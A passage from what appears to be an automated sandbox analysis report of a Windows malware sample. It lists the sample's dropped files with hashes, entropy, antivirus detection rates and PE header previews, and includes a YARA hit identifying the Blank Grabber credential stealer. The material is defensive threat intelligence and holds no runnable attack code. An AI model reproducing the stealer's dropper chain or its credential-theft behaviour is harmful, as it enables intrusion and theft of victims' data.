SHA-512:	8820D297AEDA5A5EBE1306E7664F7A95421751DB60D71DC20DA251BCDFDC73F3FD0B22546BD62E62D7AA44DFE702E4032FE78802FB16EE6C2583D65ABC891CBF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".@................................................................`.....................................................................P.......................................................@...........................................UPX0....................................UPX1.....@.......<..................@...UPX2.................@..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI6522\libssl-3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	228120
Entropy (8bit):	7.928688904391487
Encrypted:	false
SSDEEP:	6144:Gmlccqt6UmyaQeUV1BXKtS68fp2FagXlk2:l+t6Ce6XKtSHYomk2
MD5:	264BE59FF04E5DCD1D020F16AAB3C8CB
SHA1:	2D7E186C688B34FDB4C85A3FCE0BEFF39B15D50E
SHA-256:	358B59DA9580E7102ADFC1BE9400ACEA18BC49474DB26F2F8BACB4B8839CE49D
SHA-512:	9ABB96549724AFFB2E69E5CB2C834ECEA3F882F2F7392F2F8811B8B0DB57C5340AB21BE60F1798C7AB05F93692EB0AEAB077CAF7E9B7BB278AD374FF3C52D248
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........>:V.PiV.PiV.Pi_..iX.PiC.QhT.Pi..QhT.PiC.UhZ.PiC.Th^.PiC.ShR.PillQhU.PiV.QiH.PillThf.PillPhW.Pill.iW.PillRhW.PiRichV.Pi................PE..d......e.........." ...%.....P...p...m....................................................`............................................,C......8...............@M...................................................y..@...........................................UPX0.....p..............................UPX1................................@....rsrc....P.......L..................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI6522\python312.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1806616
Entropy (8bit):	7.993924698335258
Encrypted:	true
SSDEEP:	49152:xm7u77uID/cZXnJ4Ph3tLm82R8PeDCemJ:Y7uJcZX6pumfJ
MD5:	FB8BEDF8440EB432C9F3587B8114ABC0
SHA1:	136BB4DD38A7F6CB3E2613910607131C97674F7C
SHA-256:	CB627A3C89DE8E114C95BDA70E9E75C73310EB8AF6CF3A937B1E3678C8F525B6
SHA-512:	B632235D5F60370EFA23F8C50170A8AC569BA3705EC3D515EFCAD14009E0641649AB0F2139F06868024D929DEFFFFFEFB352BD2516E8CD084E11557B31E95A63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ._.A...A...A.......A.......A.......A.......A.......A...9e..A...9...A...A...@......cA.......A.......A.......A..Rich.A..........PE..d...cK.f.........." ...&..........P..ak...P..................................Pl...........`.........................................H.k.d....yk......pk......._.TI...........Ll. ...........................0mk.(...pmk.@...........................................UPX0......P.............................UPX1..........P.....................@....rsrc........pk.....................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI6522\rar.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	630736
Entropy (8bit):	6.409476333013752
Encrypted:	false
SSDEEP:	12288:3lPCcFDlj+gV4zOifKlOWVNcjfQww0S5JPgdbBC9qxbYG9Y:3lPCcvj+YYrfSOWVNcj1JS5JPgdbBCZd
MD5:	9C223575AE5B9544BC3D69AC6364F75E
SHA1:	8A1CB5EE02C742E937FEBC57609AC312247BA386
SHA-256:	90341AC8DCC9EC5F9EFE89945A381EB701FE15C3196F594D9D9F0F67B4FC2213
SHA-512:	57663E2C07B56024AAAE07515EE3A56B2F5068EBB2F2DC42BE95D1224376C2458DA21C965AAB6AE54DE780CB874C2FC9DE83D9089ABF4536DE0F50FACA582D09
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.a.@.a.@.a..v..F.a..v....a..v..M.a..J..B.a.{.b.H.a.{.d.j.a.{.e.U.a.I..K.a.@.`...a..d...a....A.a..c.A.a.Rich@.a.................PE..d....~.^.........."..........2.................@.............................p.......4....`..................................................]..x.......Xy......pD...`...?...`..........T...................x...(.......................@............................text...C........................... ..`.rdata..:p.......r..................@..@.data............2...b..............@....pdata..pD.......F..................@..@.tls................................@....rsrc...Xy.......z..................@..@.reloc.......`.......V..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI6522\rarreg.key

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	456
Entropy (8bit):	4.447296373872587
Encrypted:	false
SSDEEP:	12:Bn9j9sxpCDPxfhKLiaE5cNH0u/OCIhjWO:B9jiWDpf025cNU7CIEO
MD5:	4531984CAD7DACF24C086830068C4ABE
SHA1:	FA7C8C46677AF01A83CF652EF30BA39B2AAE14C3
SHA-256:	58209C8AB4191E834FFE2ECD003FD7A830D3650F0FD1355A74EB8A47C61D4211
SHA-512:	00056F471945D838EF2CE56D51C32967879FE54FCBF93A237ED85A98E27C5C8D2A39BC815B41C15CAACE2071EDD0239D775A31D1794DC4DBA49E7ECFF1555122
Malicious:	true
Yara Hits:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: C:\Users\user\AppData\Local\Temp\_MEI6522\rarreg.key, Author: Joe Security
Preview:	RAR registration data.Blank-c.Stealer License.UID=e7ae0ee11c8703113d95.64122122503d95ca34668bc2ffb72bcf8579be24bc20f3cd84baaf.afcf62e30badf158ad0c60feb872189f288e79eb40c28ca0ab6407.3a46f47624f80a44a0e4d71ef4224075bf9e28fce340a29099d287.15690be6b591c3bb355e99d6d1b8ffcd69602cb8aaa6dedf268c83.55c1fb90c384a926139625f6c0cbfc57a96996fdb04075bf9e28fc.e340a29067e9237e333577d2c7f3ed1d0f63287f74c9e50c60d76d.b5915ff59f78103d48e0826658d72ba8813da4a649711057613203.

C:\Users\user\AppData\Local\Temp\_MEI6522\select.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26392
Entropy (8bit):	7.4349429154342905
Encrypted:	false
SSDEEP:	768:GW9SNyB153wXwCp5DlIjQGO/5YiSyv38aAMxkE7:4a3aDlIjQGOx7Sy/8Yxn
MD5:	08B4CAEACCB6F6D27250E6A268C723BE
SHA1:	575C11F72C8D0A025C307CB12EFA5CB06705561D
SHA-256:	BD853435608486555091146AB34B71A9247F4AAA9F7ECFBC3B728A3E3EFDE436
SHA-512:	9B525395DEC028EF3286C75B88F768E5D40195D4D5ADAB0775C64B623345D81DA1566596CC61A460681BC0ADBA9727AFC96C98AD2E54FF371919F3DB6D369B0C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&.tb..'b..'b..'k.V'`..'d(.&`..'d(.&n..'d(.&j..'d(.&f..'.(.&`..'b..' ..')..&g..'.(.&c..'.(.&c..'.(:'c..'.(.&c..'Richb..'........PE..d....K.f.........." ...&.0................................................................`......................................... ...L....................`..............l...........................................@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI6522\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	660248
Entropy (8bit):	7.993344862024604
Encrypted:	true
SSDEEP:	12288:QTdlyELYyNiFVhF+v4GTHxoyMnYllAuz1eRDRA8z7B/oe7zMdxsp2gB:QTdlyK5oFVDQ4GGYsaejd1/oeTp2gB
MD5:	482B3F8ADF64F96AD4C81AE3E7C0FB35
SHA1:	91891D0EABB33211970608F07850720BD8C44734
SHA-256:	1FBDB4020352E18748434EF6F86B7346F48D6FB9A72C853BE7B05E0E53EBBB03
SHA-512:	5DE56E00AB6F48FFC836471421D4E360D913A78EE8E071896A2CD951FF20F7A4123ABD98ADF003CE166DCC82AAD248EBF8B63E55E14ECEEC8AA9A030067C0D1D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........l..l..l...B..l.....l.....l.....l.....l.....l..l..l.....l.....l......l.....l.Rich.l.................PE..d....K.f.........." ...&.....0...........................................................`..............................................#......................h......................................................@...........................................UPX0....................................UPX1................................@....rsrc....0.......0..................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI6522\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	302360
Entropy (8bit):	7.986911403608574
Encrypted:	false
SSDEEP:	6144:CI6xDUAPCa+tr3XyOu6sNq64AnCK+V3evv7J7usiUZonaJnZ54QZ:CDLB+tryJ6sI647m7Fu4oM4QZ
MD5:	27B3AF74DDAF9BCA239BF2503BF7E45B
SHA1:	80A09257F9A4212E2765D492366ED1E60D409E04
SHA-256:	584C2ECEA23DFC72AB793B3FD1059B3EA6FDF885291A3C7A166157CF0E6491C4
SHA-512:	329C3A9159EA2FDCE5E7A28070BCF9D6D67ECA0B27C4564E5250E7A407C8B551B68A034BFDE9D8D688FA5A1AE6E29E132497B3A630796A97B464762CA0D81BB7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........aM...#...#...#..x....#.."...#..&...#..'...#.. ...#..."...#..x"...#..."...#.......#...#...#......#...!...#.Rich..#.................PE..d....K.f.........." ...&.`.......0.......@................................................`.............................................X....................@.........................................................@...........................................UPX0.....0..............................UPX1.....`...@...\..................@....rsrc................`..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_13p4uiqu.0hq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1eq0mokn.byt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1weyb3oe.uc3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2abomfpr.gsq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3d4umvqj.efz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3v40mae5.fdf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4xcxcmmp.2nd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_doharhxl.3cq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ecg3z5lj.ii1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ef2nd304.oea.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g5rzpbfe.imn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jmfhkdcm.5cm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jtezobgs.gq4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lmyn5dwf.yw4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uhrfen3t.2u3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zh0kl5qa.0ig.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\pYZNuD1vMe

Download File

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.483856189774723
Encrypted:	false
SSDEEP:	3:S/xhBN:axPN
MD5:	8D287F25C1B11D41E21B14EAB93C5288
SHA1:	EC9F7222E76385F6A653075ADBC516DB58A42B17
SHA-256:	FAB287669A17BB85F5ADD3CB15643E9F71B0181E849916D92C077AFDA92493EF
SHA-512:	DA38237B6595F873AA0BFD685BC5736C2729293A88001B2A342265F030AD1BDAD268CB00EF84FA44266B1C62C102065B813A8BF391E27BC204507EF96325A447
Malicious:	false
Preview:	HzQwMLtSs6R9vEnxGFKkxC2FD

C:\Users\user\AppData\Local\Temp\x10.exe

Download File

Process:	C:\Users\user\Desktop\6tGWMkdYv4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11992576
Entropy (8bit):	7.999939221942735
Encrypted:	true
SSDEEP:	196608:N0J9PCV0pdS3DozJzZwlNKvXezMzsCfjUQK/CUHSdg41q9M1g7XMRbRSBfE3va:2J9PEEyzKveI5fbKBHMFzm7XAbEBfx
MD5:	B93FC536DF3C66E783FCBB9071DB7545
SHA1:	CE29BC506242C2389366F67EDB3B36577D01F778
SHA-256:	9267614F67E94FEEEAE12C00F294E8AF4587CF74CE817D179098D7E17EF24874
SHA-512:	4B4A87624EB5F23A13AC55ACC874E9444C41B54A772E3D89A5A383A476D09DB6DCDAC69BC914645FE8C3102EA050A4DBEDE65F379C4F51AA1FDEB01E8194B1E6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q.................................... ....@......................................................................... ..P................................................................................... ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc.............................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\x5.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11947008
Entropy (8bit):	7.999880899586135
Encrypted:	true
SSDEEP:	196608:A/PxCnVXz24T43twVgT8qu2qB78ZJoDZXttgxj+7DKlBDrmLjPbmH2W9S6L6388v:qSVXlgTapB78ZaZXz3qDEWPzWvd+a
MD5:	609A00E116060457295CE9293E6E3B3E
SHA1:	E99114D54D914B0D543E62FF54807D83551A16B6
SHA-256:	5CAC320A19828D4E3E89428AD877951BABAA6739A337FF4C8C2F3B9828D85358
SHA-512:	1C1F117E06CA09DAB65626BCA4CAB8CCF4B3073DCA564A6CC2DC9E82A752F936150FF75E077DB0C906D1248F9CA9BB94D1AF8FED616D8E013C548B25033F8FCC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q.....................:............... ....@..........................@............................................... ..P.................................................................................... ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...............................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x5.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\x6.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11955200
Entropy (8bit):	7.999878211469323
Encrypted:	true
SSDEEP:	196608:yOqLCiYuaGGagemuoPKopkidBTq5TIX77B7MN8xZalYFA9weGRYeDfWXUR5:yOqdaGFgQ/FcBscl7IAZFFA9qRYeDq+5
MD5:	8DBEE0CB9B7550432DF6BEB4D9EA5CF0
SHA1:	592502D95F326D76387D85FB48036179A7D15D38
SHA-256:	D7FFD20027F5B1B9948E76FA157023C22A86425E026A377684A3947ABDB61135
SHA-512:	20422414B413C33B1DB119488A71322B449DB756ECEE73C3825FEE991FD468A0E09C6AE4B60FE2FD568B0590B77DF43937EF8E35D752FF931482519D9FB0C183
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 89%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q.....................Z............... ....@..........................`............................................... ..P........M........................................................................... ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc....M.......N..................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\x7.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11961856
Entropy (8bit):	7.999911640103391
Encrypted:	true
SSDEEP:	196608:86kzCVCuxvPm0wFeQiM342skccPtERX15g94uMkzPpyZaIKpyYcMNhHV7nA0qlru:L5CuxvOQgfskccCRlFuMk1yIIpL437A0
MD5:	61F5D17C10DE6541139134FB7058F88E
SHA1:	A6DF4A45AAB40753023F2FDD7EFD32AE9A226FF5
SHA-256:	914287AD713DF86EA9FED9F86CD963F88EB22DE143D8892B7EF055FD45DBA567
